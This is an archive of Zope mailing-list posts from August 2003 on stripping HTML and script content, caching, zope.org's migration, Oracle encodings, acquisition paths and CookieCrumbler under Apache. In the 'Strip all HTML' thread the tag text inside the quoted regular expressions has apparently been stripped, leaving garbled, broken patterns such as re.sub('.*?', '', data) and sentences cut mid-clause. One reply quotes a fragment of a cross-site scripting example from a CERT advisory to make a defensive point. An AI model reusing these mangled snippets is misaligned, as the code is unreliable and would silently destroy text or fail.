Once that works, you may want to do some other things like replace
with line breaks, etc. But this should be enough to make progress with. HTH, Dylan On Tue, 2003-08-05 at 05:26, ken@practical.org wrote: > Hi all, > > I want to display a text-only version of a web page captured with the DocumentLibrary product (no longer supported). > > This product uses the 'Catalog Support' HTML converter available here: > > http://www.dieter.handshake.de/pyprojects/zope/CatalogSupport.html > > However this converter, like the others I have tried (Strip-o-Gram, as well as an external method based on striphtml.py), seem unable to remove the content of or tags. So I get plenty of hits with a search for 'children' or 'window' or 'background'... > > Has anyone else confronted this problem? > > I have also made feeble attempts such as the following Script (Python), without success: > > import string > import re > > text = re.sub('.*?', '', data) > text = re.sub('.*?', '', text) > text = re.sub('.*?', '', text) > text = re.sub('.*?', '', text) > text = re.sub('', '', text) > text = re.sub('<.*?>', ' ', text) > return text > > I sure would appreciate some help on this... > > Thanks, > > Ken > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From bz@bwanazulia.com Tue Aug 5 15:28:56 2003 From: bz@bwanazulia.com (BZ) Date: Tue, 5 Aug 2003 09:28:56 -0500 (CDT) Subject: [Zope] Zope.org migration Message-ID: <35094.199.67.140.20.1060093736.squirrel@webmail.mahnke.net> It seems like the Zope.org migration is very painful as it has been spitting out errors since last night. Is there anyway they can go back to the old look until it is working correctly? It just looks very bad for Zope to have the main site giving errors for so long. BZ From pw_lists@slinkp.com Tue Aug 5 15:49:39 2003 From: pw_lists@slinkp.com (Paul Winkler) Date: Tue, 5 Aug 2003 10:49:39 -0400 Subject: [Zope] Strip all HTML In-Reply-To: <1060090750.12779.799.camel@ida.dylanreinhardt.com> References: <200308051226.h75CQrP76717@zope.config.com> <1060090750.12779.799.camel@ida.dylanreinhardt.com> Message-ID: <20030805144939.GC1085@slinkp.com> On Tue, Aug 05, 2003 at 06:39:11AM -0700, Dylan Reinhardt wrote: > So you can try something like: > > ----- > > import re > > style = re.compile('.*?', re.I | re.S) > script = re.compile('.*?', re.I | re.S) > tags = re.compile('<.*?>', re.S) > > return tags.sub('', script.sub('', style.sub('', text))) hmm... doesn't the tags pattern make the other two redundant? one problem with this approach is that it removes any xml or sgml markup from inside a
 block, which may not be what you want.
Processing html with regular expressions is notoriously frustrating.
I'd look in to using htmllib from the standard library, or
fixing Strip-O-Gram to do what you want.

-- 

Paul Winkler
http://www.slinkp.com
Look! Up in the sky! It's THE UNWORTHY SEEKER!
(random hero from isometric.spaceninja.com)


From chrisw@nipltd.com  Tue Aug  5 15:54:56 2003
From: chrisw@nipltd.com (Chris Withers)
Date: Tue, 05 Aug 2003 15:54:56 +0100
Subject: [Zope] CacheManager missing in 2.6.2b4 :-(
References: <3F2F97BC.2030008@nipltd.com> <1148149101.20030805135441@elvix.com>
Message-ID: <3F2FC540.8040909@nipltd.com>

Geir Bækholt wrote:
> What REQUEST variables have you set for the cache manager ?

None! These methods can be chaches irrespective of any variables...

> If the methods are truly non-changing, leave that box all empty :)

it is :-)

cheers,

Chris



From chrisw@nipltd.com  Tue Aug  5 15:57:47 2003
From: chrisw@nipltd.com (Chris Withers)
Date: Tue, 05 Aug 2003 15:57:47 +0100
Subject: [Zope] CacheManager missing in 2.6.2b4 :-(
References: <3F2F97BC.2030008@nipltd.com> <20030805115333.GA22389@audible.transient.net>
Message-ID: <3F2FC5EB.1090101@nipltd.com>

Jamie Heilman wrote:
> Did you define a non-empty set of request variables?  

Nope, I got a empty check box...

> method.  Is the method a page template?  RAM Cache Managers are lousy
> at caching page templates because page templates store data in their
> keywords which can change as the memory usage of your zope process
> changes and python re-orders things.

Ah, these are page templates, but I never used to haev this problem.
What do you mean by "page templates store data in their keywords"?
I would have thought that ram cache menagers would just cache the result of the 
call, which should be a string, right?

> Its probably just reflective of some of the design choices behind RAM
> Cache Manager.  I wrote a diatribe on caching 2 months ago, check it:
> http://marc.theaimsgroup.com/?l=zope&m=105460381811223&w=2

That link was pretty slow, in fact it times out. Anywhere I can read 
aforementioned diatribe?

cheers,

Chris



From zope@dylanreinhardt.com  Tue Aug  5 16:02:28 2003
From: zope@dylanreinhardt.com (Dylan Reinhardt)
Date: 05 Aug 2003 08:02:28 -0700
Subject: [Zope] Strip all HTML
In-Reply-To: <20030805144939.GC1085@slinkp.com>
References: <200308051226.h75CQrP76717@zope.config.com>
 <1060090750.12779.799.camel@ida.dylanreinhardt.com>
 <20030805144939.GC1085@slinkp.com>
Message-ID: <1060095748.12779.862.camel@ida.dylanreinhardt.com>

On Tue, 2003-08-05 at 07:49, Paul Winkler wrote:
> On Tue, Aug 05, 2003 at 06:39:11AM -0700, Dylan Reinhardt wrote:
> > So you can try something like:
> > 
> > -----
> > 
> > import re
> > 
> > style = re.compile('.*?', re.I | re.S)
> > script = re.compile('.*?', re.I | re.S)
> > tags = re.compile('<.*?>', re.S)
> > 
> > return tags.sub('', script.sub('', style.sub('', text)))
> 
> hmm... doesn't the tags pattern make the other two redundant?

Not that I can see.  You may be reading the last expression
left-to-right, but it's *evaluated* inside (right) to outside (left).

In some cases (, for example) you want to remove only the tags.  In
other cases (', re.I | re.S)
>>> tags = re.compile('<.*?>', re.S)
>>> 
>>> return tags.sub('', script.sub('', style.sub('', text)))
>>
>>hmm... doesn't the tags pattern make the other two redundant?
>
>
>Not that I can see. You may be reading the last expression
>left-to-right, but it's *evaluated* inside (right) to outside (left).
>
>In some cases (, for example) you want to remove only the tags. In
>other cases (', '-->', text)
text = re.sub('', '-->', text)
text = re.sub('', '-->', text)
text = re.sub('', '', text)
text = re.sub('<.*?>', ' ', text)
return text

I was not able to get
text = re.sub('.*?', '', text)
to work, hence the subterfuge above.

Dylan: The re.compile lines did not work for me.
I'm using Zope 2.5.1 with Python 2.1.3 (Zope binary version) on FreeBSD4.3. I remember having to specifically allow importation of the re module, but perhaps re.compile needs something else?? I get a 401 and the following traceback:



I hope for a more elegant solution which could be incorporated into the popular HTML converters.

Thanks again,

Ken




From throwaway@MIT.EDU  Tue Aug  5 16:57:18 2003
From: throwaway@MIT.EDU (Alex Coventry)
Date: Tue, 05 Aug 2003 11:57:18 -0400
Subject: [Zope] Strip all HTML
In-Reply-To: <200308051547.h75FlcP77658@zope.config.com> (ken@practical.org's
 message of "Tue, 5 Aug 2003 17:47:39 +0200 (CEST)")
References: <200308051547.h75FlcP77658@zope.config.com>
Message-ID: 

It seems as if letting things like ">malicious code"> Click here

which is mentioned in the CERT advisory at 

http://www.cert.org/advisories/CA-2000-02.html

HTH.
Alex.


From pw_lists@slinkp.com  Tue Aug  5 17:11:02 2003
From: pw_lists@slinkp.com (Paul Winkler)
Date: Tue, 5 Aug 2003 12:11:02 -0400
Subject: [Zope] Strip all HTML
In-Reply-To: <200308051547.h75FlcP77658@zope.config.com>
References: <200308051547.h75FlcP77658@zope.config.com>
Message-ID: <20030805161102.GB8593@slinkp.com>

On Tue, Aug 05, 2003 at 05:47:39PM +0200, ken@practical.org wrote:
> text = re.sub('', '-->', text)
> text = re.sub('', '-->', text)
> text = re.sub('', '-->', text)
> text = re.sub('', '-->', text)

note that for these simplest expressions, e.g. 
re.sub('', '-->', text) , it's equivalent (but faster)
to do text.replace('', '-->').  But that's a quibble.

> Dylan: The re.compile lines did not work for me.
> I'm using Zope 2.5.1 with Python 2.1.3 (Zope binary version) on FreeBSD4.3. I remember having to specifically allow importation of the re module, but perhaps re.compile needs something else?? I get a 401 and the following traceback:

(snip)
You might be right.  I'd suggest doing it as an External Method, 
then you can use all of the re module without restrictions.
The re.compile version should be cleaner and more reliable than
explicitly checking different cases.

-- 

Paul Winkler
http://www.slinkp.com
Look! Up in the sky! It's THE SEISMIC GIRL!
(random hero from isometric.spaceninja.com)


From Dominic.Hiles@bristol.ac.uk  Tue Aug  5 17:22:28 2003
From: Dominic.Hiles@bristol.ac.uk (Dominic Hiles)
Date: Tue, 05 Aug 2003 17:22:28 +0100
Subject: [Zope] International character display from Oracle database
Message-ID: <603069843.1060104148@ilrt-kamino.ilrt.bris.ac.uk>

Hi,

I am using Zope on Linux, front-ended by Apache, to retrieve data from an 
Oracle 8.1.7 database via DCOracle2: 1.3 beta. I have setup the NLS_LANG 
environment variable in both Zope & Apache to be "ENGLISH_UNITED 
KINGDOM.UTF8" (ref. 
) and 
NLS_CHAR="UTF8". The source data are correctly held within the Oracle 
database, since these data have been successfully displayed via ODBC and 
JDBC drivers on other platforms.

However, when retrieving the data using the above configuration, Greek 
characters are replaced with question marks (which can be verified as 
simple question marks in the page source).  Has anyone else experienced 
this problem?

Any help would be much appreciated!

Many thanks,

Dominic




From zope@dylanreinhardt.com  Tue Aug  5 17:11:42 2003
From: zope@dylanreinhardt.com (Dylan Reinhardt)
Date: 05 Aug 2003 09:11:42 -0700
Subject: [Zope] Strip all HTML
In-Reply-To: <200308051547.h75FlcP77658@zope.config.com>
References: <200308051547.h75FlcP77658@zope.config.com>
Message-ID: <1060099901.12779.945.camel@ida.dylanreinhardt.com>


On Tue, 2003-08-05 at 08:47, ken@practical.org wrote:
> Dylan: The re.compile lines did not work for me.

Ah, yes.  I suppose I should have seen that coming.  

By default, Python Scripts restrict what you can do.  You'll either need
to run that code in an external method or configure Zope to allow re
(and creation of re objects, IIRC) in Python scripts.

HTH,

Dylan




From stefan@epy.co.at  Tue Aug  5 17:36:16 2003
From: stefan@epy.co.at (Stefan H. Holek)
Date: Tue, 05 Aug 2003 18:36:16 +0200
Subject: [Zope] Should everyone always have 'Anonymous' role?
In-Reply-To: <3F2FAF8B.4050402@upfrontsystems.co.za>
References: <3F2FAF8B.4050402@upfrontsystems.co.za>
Message-ID: <885444797.1060108576@[172.16.8.4]>

Hi Jean!

I am pretty sure that only the 'Anonymous User' has (and should have) the 
'Anonymous' role. OTOH it does probably not hurt to have it, even as 
authenticated user. Well, apart from your condition that is... ;-)

Stefan


--On Dienstag, 05. August 2003 15:22 +0200 Jean Jordaan 
 wrote:

>       'Default User Roles' -- All users authenticated from
>         your ldap tree will be given the roles you put into
>         this comma-delimited list. Zope expects all users -
>         anonymous as well as authenticated - to have the role
>         Anonymous.
>
> I wasn't aware of that. Why does an authenticated user need
> to have Anonymous as a role?
>


--
The time has come to start talking about whether the emperor is as well
dressed as we are supposed to think he is.               /Pete McBreen/


From simon@titanic.co.uk  Tue Aug  5 17:46:33 2003
From: simon@titanic.co.uk (Simon Faulkner)
Date: Tue, 5 Aug 2003 17:46:33 +0100
Subject: [Zope] Mailing List
Message-ID: 

Please reply to zope@titanic.co.uk	

How do I join the zope mailing list?

http://mail.zope.org/mailman/listinfo/zope

reports "no such list zope"

:-(

Simon


From bz@bwanazulia.com  Tue Aug  5 17:46:23 2003
From: bz@bwanazulia.com (BZ)
Date: Tue, 5 Aug 2003 11:46:23 -0500 (CDT)
Subject: [Zope] Zope.org migration
In-Reply-To: <000901c35b65$80fec2b0$0a00a8c0@logicetc.com>
References: <35094.199.67.140.20.1060093736.squirrel@webmail.mahnke.net>
 <000901c35b65$80fec2b0$0a00a8c0@logicetc.com>
Message-ID: <56311.199.67.140.20.1060101983.squirrel@webmail.mahnke.net>

I am not worried for my own sake of searching, etc.. but just that
Zope.org is the showcase of Zope, and to have it breaking, even during
transition, does not look good for Zope as an application server, etc.

BZ

>> -----Original Message-----
>> From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of BZ
>> Sent: Tuesday, August 05, 2003 10:29 AM
>
>> It seems like the Zope.org migration is very painful as it has been
>> spitting out errors since last night.
>
> Migration is often painful.  They expected this and they told us to expect
> it.
>
>> Is there anyway they can go back to the old look until it is working
>> correctly?
>
> I believe they covered this issue in their "rollout and transition plan"
> announcement a couple weeks ago, but the old site is still available if
> you
> prefer to use it instead.
> _______________________
>
> Ron Bickers
> Logic Etc, Inc.
>
>
> _______________________________________________
> Zope maillist  -  Zope@zope.org
> http://mail.zope.org/mailman/listinfo/zope
> **   No cross posts or HTML encoding!  **
> (Related lists -
>  http://mail.zope.org/mailman/listinfo/zope-announce
>  http://mail.zope.org/mailman/listinfo/zope-dev )
>



From rbickers-expires-1060707877.68dd2e@logicetc.com  Tue Aug  5 18:04:15 2003
From: rbickers-expires-1060707877.68dd2e@logicetc.com (Ron Bickers)
Date: Tue, 5 Aug 2003 13:04:15 -0400
Subject: [Zope] Zope.org migration
In-Reply-To: <56311.199.67.140.20.1060101983.squirrel@webmail.mahnke.net>
Message-ID: <000c01c35b73$99fd3220$0a00a8c0@logicetc.com>

> -----Original Message-----
> From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of BZ
> Sent: Tuesday, August 05, 2003 12:46 PM

> I am not worried for my own sake of searching, etc.. but just that
> Zope.org is the showcase of Zope, and to have it breaking, even during
> transition, does not look good for Zope as an application server, etc.

I'm sure the good folks at Zope Corporation have considered this in their
migration plan.  The big contrasting box in the middle of the front page is
pretty clear about what is going on.  If anyone derives from these problems
that Zope does not look good, then ... well... you can't spoon-feed
everyone. ;-)

BTW, besides my personal pet peeve of sites using micro-sized fonts for
content, I like the new site.
_______________________

Ron Bickers
Logic Etc, Inc.



From bz@bwanazulia.com  Tue Aug  5 18:22:03 2003
From: bz@bwanazulia.com (BZ)
Date: Tue, 5 Aug 2003 12:22:03 -0500 (CDT)
Subject: [Zope] Zope.org migration
In-Reply-To: <000c01c35b73$99fd3220$0a00a8c0@logicetc.com>
References: <56311.199.67.140.20.1060101983.squirrel@webmail.mahnke.net>
 <000c01c35b73$99fd3220$0a00a8c0@logicetc.com>
Message-ID: <64920.199.67.140.20.1060104123.squirrel@webmail.mahnke.net>

Don't get me wrong.

I think the Zope.org facelift is great. I have been checking back every
hour or so to see if it was live. It is a little "ploney" for me, but I
think it will show much better for people looking to get into Zope.

BZ

>> -----Original Message-----
>> From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of BZ
>> Sent: Tuesday, August 05, 2003 12:46 PM
>
>> I am not worried for my own sake of searching, etc.. but just that
>> Zope.org is the showcase of Zope, and to have it breaking, even during
>> transition, does not look good for Zope as an application server, etc.
>
> I'm sure the good folks at Zope Corporation have considered this in their
> migration plan.  The big contrasting box in the middle of the front page
> is
> pretty clear about what is going on.  If anyone derives from these
> problems
> that Zope does not look good, then ... well... you can't spoon-feed
> everyone. ;-)
>
> BTW, besides my personal pet peeve of sites using micro-sized fonts for
> content, I like the new site.
> _______________________
>
> Ron Bickers
> Logic Etc, Inc.
>
>
> _______________________________________________
> Zope maillist  -  Zope@zope.org
> http://mail.zope.org/mailman/listinfo/zope
> **   No cross posts or HTML encoding!  **
> (Related lists -
>  http://mail.zope.org/mailman/listinfo/zope-announce
>  http://mail.zope.org/mailman/listinfo/zope-dev )
>



From r.rapoport@fi.com  Tue Aug  5 18:41:07 2003
From: r.rapoport@fi.com (Roy Rapoport)
Date: Tue, 5 Aug 2003 10:41:07 -0700
Subject: [Zope] FQ Path Names in container
Message-ID: <9529EF5D791B794DB3CFAE1635F0805B0CA947F2@email.fi.com>

Goal:
  Serve 'protected' documents via a Python Script in Zope.  The concept is
that you'll actually access the script and, if it decides you're authorized,
will give you the documents.  
Problem:
  Returning a document that's in the same directory as the script is a
no-brainer -- return container['docname'] works perfectly well.  Returning a
document that is in a relative directory is also not a problem -- Assuming
this directory structure:
/
  A
    B
      C.pdf (1)
  D
    A
      B
        C.pdf (2)
    C.pdf (3)
    script

Then if we're accessing /D/script and returning 'container['C.pdf']' we'll
return C.pdf(3); if we return 'container['A/B/C.pdf'] then we'll return
C.pdf(2) (acquisition is a beautiful thing).

However, returning 'container['A/B/C.pdf'] gives me a key error.  This makes
it rather difficult to access C.pdf(1).

I have two possibilities:
A) Figure out how to use fully qualified paths in my return statement; 
B) Do something interesting with acquisition and URLs -- something like
calling /A/B/D/script, having script figure out its context is actually
/A/B, and then return the C.pdf in that directory.  Unfortunately, reading
both the Zope book and the Zope Web Application Development and Content
Management book did not reveal to me how I'd go about doing it, and my
random stumbling around and attempts to get this done have not worked
successfully.

Suggestions?

-roy
Content-Type: text/plain;
	charset="iso-8859-1"
 




-------------------------------------------------
PLEASE READ THIS WARNING: All e-mail sent to or from this address will be
received or otherwise recorded by the Fisher Investments  corporate e-mail
system and is  subject to archival, monitoring or review by, and/or
disclosure to, someone other than the recipient.



From mj@zope.com  Tue Aug  5 20:33:30 2003
From: mj@zope.com (Martijn Pieters)
Date: Tue, 5 Aug 2003 15:33:30 -0400
Subject: [Zope] Mailing List
In-Reply-To: 
References: 
Message-ID: <20030805193330.GJ24067@zope.com>

On Tue, Aug 05, 2003 at 05:46:33PM +0100, Simon Faulkner wrote:
> How do I join the zope mailing list?
> 
> http://mail.zope.org/mailman/listinfo/zope
> 
> reports "no such list zope"

Unfortunately, migration of the list to a new version of mailman has been
delayed. The new version of mailman doesn't acknowlege existence of the old
email address.

Fortunately, you can still access the email request interface. Email
zope-request@zope.org with the subject 'help' for more information, or the
subject 'subscribe' to directly subscribe.

Sorry for the inconvenience!

-- 
Martijn Pieters
| Software Engineer  mailto:mj@zope.com
| Zope Corporation   http://www.zope.com/
| Creators of Zope   http://www.zope.org/
---------------------------------------------


From maik.jablonski@uni-bielefeld.de  Tue Aug  5 21:12:23 2003
From: maik.jablonski@uni-bielefeld.de (Maik Jablonski)
Date: Tue, 05 Aug 2003 22:12:23 +0200
Subject: [Zope] FYI: MailBoxer 2.2.6
Message-ID: 

Hi to all,

I've just released MailBoxer 2.2.6 which fixes a critical bug when 
MailBoxer is used for moderated lists.


What is a MailBoxer?
--------------------

MailBoxer is a lightweight ZOPE-Product to run mailinglists, newsletters 
and mailarchives. Its main idea is to give you an extensible framework 
for building mailinglist-based applications with the power of ZOPE. Out 
of the box it provides a full featured  mailinglist/ newsletter/ 
mailarchiving-framework. The German Zope User Group runs all 
mailinglists with MailBoxer.


Changes
-------

  * added a keepdate-parameter. Useful if you want to import 
mailarchives with MailBoxer. Thanks to Eric Barroca!

  * fixed critical bug: a cc to a moderated list produced a mail-loop. 
Thanks to Sebastian Hoffmann.


Download
--------

http://zoped.de/MailBoxer


Demo
----

Do you want to the a mirror of the zope@zope.org-mailinglist?

http://www.dzug.org/mailinglisten/zope-org-zope/



Features
--------

* MailBoxer is easy to use and to configure and can handle mime-encoded 
mails with attachments.

* People can subscribe/unsubscribe your list by sending an "signed" 
email with a specified email-subject (not body!!!) to the same address 
where the postings will go. No more hazzles with passwords and 
unsubscriptions.

* You can customize and disable subscription and unsubscription.

* All mailinglists can be moderated.

* Mails can be archived (even with attachments) by a combination of 
dates & threads with customizable set of headers.

* User-friendly archive with powerful search-interface and a
"one-thread-one-screen"-view with snipped signatures etc.

* By defining a spamlist, dirty content or misconfigured 
vacation-notifications can be identified and will not be forwarded by 
MailBoxer.

* MailBoxer can convert all mails to plain-text and strip of attachments 
if you have read enough HTML-Mails and useless attachments.

* MailBoxer provides automatic bounce-detection and a 
management-interface for bounced addresses.

* MailBoxer talks directly to your SMTP-Server. This is very fast 
compared using the standard MailHost.send-method (no more overhead for 
connecting & closing the channel every time you send a mail). It should 
be fast enough for even large lists.

* MailBoxer provides many hooks to integrate it into your own 
Zope-applications.


Cheers, Maik




From chrism@zope.com  Tue Aug  5 21:59:38 2003
From: chrism@zope.com (Chris McDonough)
Date: 05 Aug 2003 16:59:38 -0400
Subject: [Zope] www.zope.org going down for 10 minutes.
Message-ID: <1060117177.1676.1.camel@james>

Starting now. ;-)

We need to update some indexes in an effort to isolate some problems.

Thanks!

-- 
Chris McDonough 
Zope Corporation



From allison@sumeru.stanford.EDU  Tue Aug  5 22:16:15 2003
From: allison@sumeru.stanford.EDU (Dennis Allison)
Date: Tue, 5 Aug 2003 14:16:15 -0700 (PDT)
Subject: [Zope] threading and database connections
Message-ID: 

Using MySQL and Zope.  Anyone know what happens when more than one Zope
thread wants to access MySQL (or any database) at the same time?  Do the
database adaptors serialize?



From jamie@audible.transient.net  Tue Aug  5 22:29:50 2003
From: jamie@audible.transient.net (Jamie Heilman)
Date: Tue, 5 Aug 2003 14:29:50 -0700
Subject: [Zope] CacheManager missing in 2.6.2b4 :-(
In-Reply-To: <3F2FC5EB.1090101@nipltd.com>
References: <3F2F97BC.2030008@nipltd.com> <20030805115333.GA22389@audible.transient.net> <3F2FC5EB.1090101@nipltd.com>
Message-ID: <20030805212950.GC22389@audible.transient.net>

Chris Withers wrote:
> Jamie Heilman wrote:
> >http://marc.theaimsgroup.com/?l=zope&m=105460381811223&w=2
> 
> That link was pretty slow, in fact it times out. Anywhere I can read 
> aforementioned diatribe?

any zope list archive (though marc appears to be up for me)
subject is "caching in zope; tips, tricks, & lessons learned"
a google search on the phrase will give you a good number of options

-- 
Jamie Heilman                   http://audible.transient.net/~jamie/
"Paranoia is a disease unto itself, and may I add, the person standing
 next to you may not be who they appear to be, so take precaution."
						-Sathington Willoughby


From chrism@zope.com  Tue Aug  5 22:34:46 2003
From: chrism@zope.com (Chris McDonough)
Date: 05 Aug 2003 17:34:46 -0400
Subject: [Zope] www.zope.org back up.
In-Reply-To: <1060117177.1676.1.camel@james>
References: <1060117177.1676.1.camel@james>
Message-ID: <1060119286.1676.4.camel@james>

Thanks for your patience.





From jccooper@jcameroncooper.com  Wed Aug  6 00:35:23 2003
From: jccooper@jcameroncooper.com (J Cameron Cooper)
Date: Tue, 05 Aug 2003 18:35:23 -0500
Subject: [Zope] FQ Path Names in container
In-Reply-To: <9529EF5D791B794DB3CFAE1635F0805B0CA947F2@email.fi.com>
References: <9529EF5D791B794DB3CFAE1635F0805B0CA947F2@email.fi.com>
Message-ID: <3F303F3B.5020100@jcameroncooper.com>

>
>
>Then if we're accessing /D/script and returning 'container['C.pdf']' we'll
>return C.pdf(3); if we return 'container['A/B/C.pdf'] then we'll return
>C.pdf(2) (acquisition is a beautiful thing).
>
>However, returning 'container['A/B/C.pdf'] gives me a key error.  This makes
>it rather difficult to access C.pdf(1).
>  
>
Naturally. You're trying to access a thing called 
ay-slash-be-slash-see-dot-pee-dee-eff. And it's not there.

If you want to get substructures in Python, you can do one of these things:

container.A.B.C   # can't go to something with a dot in the name
container.A.B['C.pdf']
container['A']['B']['C.pdf']
container.restrictedTraverse('A/B/C.pdf')

Restricted traverse is probably the best way to deal with a variable 
path, as you seem to have.

See also:
http://www.zopelabs.com/cookbook/1001104105
http://www.zopelabs.com/cookbook/1032051886

             --jcc



From jccooper@jcameroncooper.com  Wed Aug  6 01:32:40 2003
From: jccooper@jcameroncooper.com (J Cameron Cooper)
Date: Tue, 05 Aug 2003 19:32:40 -0500
Subject: [Zope] threading and database connections
In-Reply-To: 
References: 
Message-ID: <3F304CA8.3000704@jcameroncooper.com>

>
>
>Using MySQL and Zope.  Anyone know what happens when more than one Zope
>thread wants to access MySQL (or any database) at the same time?  Do the
>database adaptors serialize?
>
Zope will serialize requests to the same connection so that threads will 
block, although specific behaviour may depend heavily on the DA. (With 
pooling, you may only get blocking under N-request conditions.)

You'll want to check the actual product for its characteristics. The big 
ones should be advanced enough to do thread pooling and transactions and 
be thread-safe.

http://zope.org/Members/adustman/Products/ZMySQLDA/view
http://zope.org/Members/adustman/Products/MySQLdb/view

And academically,
http://listserv.sap.com/pipermail/sapdb.general/2002-February/010557.html

          --jcc



From tscheidt@nyc.rr.com  Wed Aug  6 02:57:31 2003
From: tscheidt@nyc.rr.com (Tom Scheidt)
Date: Tue, 05 Aug 2003 21:57:31 -0400
Subject: [Zope] Problem with PABlog
Message-ID: 

I've followed the install instructions exactly (a few times) and have all of
the right versions of the prerequisites. Every time I try to view the site
(Plone Version, but happens on both the same) I get the error below. Thanks
in advance.

- Tom

Site Error 

An error was encountered while publishing this resource.

KeyError 
Sorry, a site error occurred.

Traceback (innermost last):
Module ZPublisher.Publish, line 150, in publish_module
Module ZPublisher.Publish, line 114, in publish
Module Zope.App.startup, line 182, in zpublisher_exception_hook
Module ZPublisher.Publish, line 98, in publish
Module ZPublisher.mapply, line 88, in mapply
Module ZPublisher.Publish, line 39, in call_object
Module Shared.DC.Scripts.Bindings, line 252, in __call__
Module Shared.DC.Scripts.Bindings, line 283, in _bindAndExec
Module Products.PageTemplates.ZopePageTemplate, line 228, in _exec
Module Products.PageTemplates.PageTemplate, line 95, in pt_render

Module TAL.TALInterpreter, line 200, in __call__
Module TAL.TALInterpreter, line 244, in interpret
Module TAL.TALInterpreter, line 703, in do_useMacro
Module TAL.TALInterpreter, line 244, in interpret
Module TAL.TALInterpreter, line 295, in do_startTag
Module TAL.TALInterpreter, line 363, in attrAction_tal
Module Products.PageTemplates.TALES, line 223, in evaluateText
Module Products.PageTemplates.TALES, line 217, in evaluate
URL: blogindex_html
Line 27, Column 1 
Expression: standard:'here/zpt_stylesheet.css/absolute_url'
Names: 
{'container': ,
 'default': ,
 'here': ,
 'loop': ,
 'modules': ,
 'nothing': None,
 'options': {'args': ()},
 'repeat': ,
 'request': ,
 'root': ,
 'template': ,
 'traverse_subpath': [],
 'user': Anonymous User}
Module Products.PageTemplates.Expressions, line 206, in __call__
Module Products.PageTemplates.Expressions, line 194, in _eval
Module Products.PageTemplates.Expressions, line 150, in _eval
__traceback_info__: here
Module Products.PageTemplates.Expressions, line 353, in restrictedTraverse
__traceback_info__: {'path': ['zpt_stylesheet.css', 'absolute_url'],
'TraversalRequestNameStack': ['absolute_url']}
Module OFS.ObjectManager, line 652, in __getitem__
KeyError: zpt_stylesheet.css (Also, an error occurred while attempting to
render the standard error message.)

Troubleshooting Suggestions
The URL may be incorrect.
The parameters passed to this resource may be incorrect.
A resource that this resource relies on may be       encountering an error.

For more detailed information about the error, please   refer to the HTML
source for this page.

If the error persists please contact the site maintainer.   Thank you for
your patience. 

----------------------------
Tom Scheidt
tscheidt@nyc.rr.com
----------------------------



From drew@mena.org.au  Wed Aug  6 03:24:28 2003
From: drew@mena.org.au (drew nichols)
Date: Wed, 06 Aug 2003 12:24:28 +1000
Subject: [Zope] TALES on-error
Message-ID: <3F3066DC.4040700@mena.org.au>

Can anyone help ?

I understand from the TAL documentation that the on-error tag sets a var 
error.
<<<
##bind namespace=_
...

error = _['error']
print error.type
print error.value
print error.traceback

return printed
 >>>

Unfortunately the error produced says that:

ErrorInfo instance has no attribute 'traceback'


Checking the Tales.py i agree. It doesn't.
type and value are fine, but how do i get the traceback?????

Drew




From drew@mena.org.au  Wed Aug  6 05:26:53 2003
From: drew@mena.org.au (drew nichols)
Date: Wed, 06 Aug 2003 14:26:53 +1000
Subject: [Zope] Cookie crumbler and VHM
In-Reply-To: <3F2F850D.2030109@nipltd.com>
References: <3F2EF379.4030401@mena.org.au> <3F2F850D.2030109@nipltd.com>
Message-ID: <3F30838D.5050603@mena.org.au>

Hi Chris,

>
> What version of Apache are you using? 

1.3.23 standard install on redhat 8.0

>
>
> What does the appropriate section of your Apache config look like? 



    ServerAdmin webmaster@maleny.com.au
    DocumentRoot /var/www/html
    ServerName virtualhost.maleny.com.au
    ErrorLog logs/virtualhost.maleny.com.au-error_log
    CustomLog logs/virtualhost.maleny.com.au-access_log common
# Zope rewrite
        RewriteEngine On
        RewriteRule ^/(.*) 
http://localhost:8080/VirtualHostBase/http/virtualhost.maleny.com.au:80/A/VirtualHostRoot/$1 
[P,L]




The cookie authentication works fine on port 8080.
When changing to the virtual rewrite the login works (from login_form to 
logged_in), but any other request is back to anaonymous user.
I guess the cookies are not there.
The REQUEST['AUTHENTICATION_PATH] includes the VHM (eg /folder/vhm).

Please help.


>
>
> cheers,
>
> Chris
>
>
>



From kedai@kedai.com.my  Wed Aug  6 06:16:55 2003
From: kedai@kedai.com.my (Bakhtiar A Hamid)
Date: Wed, 6 Aug 2003 13:16:55 +0800
Subject: [Zope] Cookie crumbler and VHM
In-Reply-To: <3F30838D.5050603@mena.org.au>
References: <3F2EF379.4030401@mena.org.au> <3F2F850D.2030109@nipltd.com> <3F30838D.5050603@mena.org.au>
Message-ID: <200308061316.55777.kedai@kedai.com.my>

On Wednesday 06 August 2003 12:26 pm, drew nichols wrote:
> Hi Chris,
>
> > What version of Apache are you using?
>
> 1.3.23 standard install on redhat 8.0
>

iirc, apache 1.3.23/24 has trouble handling cookies

try other versions

hth



From vedif@wanadoo.fr  Wed Aug  6 08:49:18 2003
From: vedif@wanadoo.fr (Nicolas REBUFFET)
Date: Wed, 6 Aug 2003 09:49:18 +0200
Subject: [Zope] =?iso-8859-1?Q?probl=E8me_sur_le_t=E9l=E9chargement?=
Message-ID: 

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01C35C00.01220CF0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

Bonjour,
J’ai des problèmes pour télécharger la dernière version de zope.
« Corrupt installation detected »
comment puis-je faire pour télécharger ?

Merci de me répondre rapidement
Cordialement
Nicolas rebuffet


------=_NextPart_000_0000_01C35C00.01220CF0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable















Bonjour,

J’ai des probl=E8mes pour t=E9l=E9charger la = derni=E8re version de zope.

=AB Corrupt = installation detected =BB

comment puis-je faire pour t=E9l=E9charger ? =

 

Merci de me r=E9pondre = rapidement

Cordialement

Nicolas rebuffet

 

